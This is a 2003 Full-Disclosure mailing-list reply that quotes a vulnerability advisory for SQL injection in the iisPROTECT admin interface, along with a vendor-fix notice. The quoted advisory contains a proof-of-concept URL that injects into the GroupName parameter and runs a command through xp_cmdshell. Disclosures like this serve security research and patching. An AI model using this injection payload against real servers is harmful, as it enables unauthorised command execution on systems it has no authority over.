Don't you mean iIrony? On Fri, 2003-05-23 at 06:09, bugtraqat_private wrote: > Between this and iDefense's advisory I think we could give this product the > 'Irony of the year award'. > > > > > > Release Date: 23.05.2003 > > Application: iisPROTECT v/2.2-r4 (and probably earlier versions) > > Vendor: iisPROTECT > > #536, 425 Carrall St. > > Vancouver, BC, > > V6B6E3, Canada > > http://www.iisprotect.com/ > > Category: SQL injection in admin interface > > Risk: Medium-High > > Impact: Arbitrary command execution > > Vendor Status: First notified 15/04-2003 17:36 (+1) > > Fixed 15/04-2003 22:47 (+1) > > Author: Torben 'Gyrniff' Frohn > > email: nnat_private > > > > Intro > > ==== > > >From vendor site: "iisPROTECT is a high performance user authentication, > > password protection and member system". > > iisPROTECT has a webbased admin interface, the interface lacks sanitising on > > almost every variable. Successfully exploited some of the variables can be > > used to inject and execute SQL statements. > > iisPROTECT uses either a MS access file or a MS SQL-server. In the testing > > environment the MS SQL-server solution is chosen. > > > > > > Exploit (Proof of Concept) > > =================== > > The following URL exploits the "GroupName" variable and uses the stored > > procedure "xp_cmdshell" to execute the command "ping": > > http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'ping%2010.10.10.11';-- > > > > Fix > > === > > Vendor has fixed this problem. > > > > Credits > > ===== > > Vulnerability found by Torben Frohn (Gyrniff) > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
This archive was generated by hypermail 2b30 : Fri May 23 2003 - 09:29:18 PDT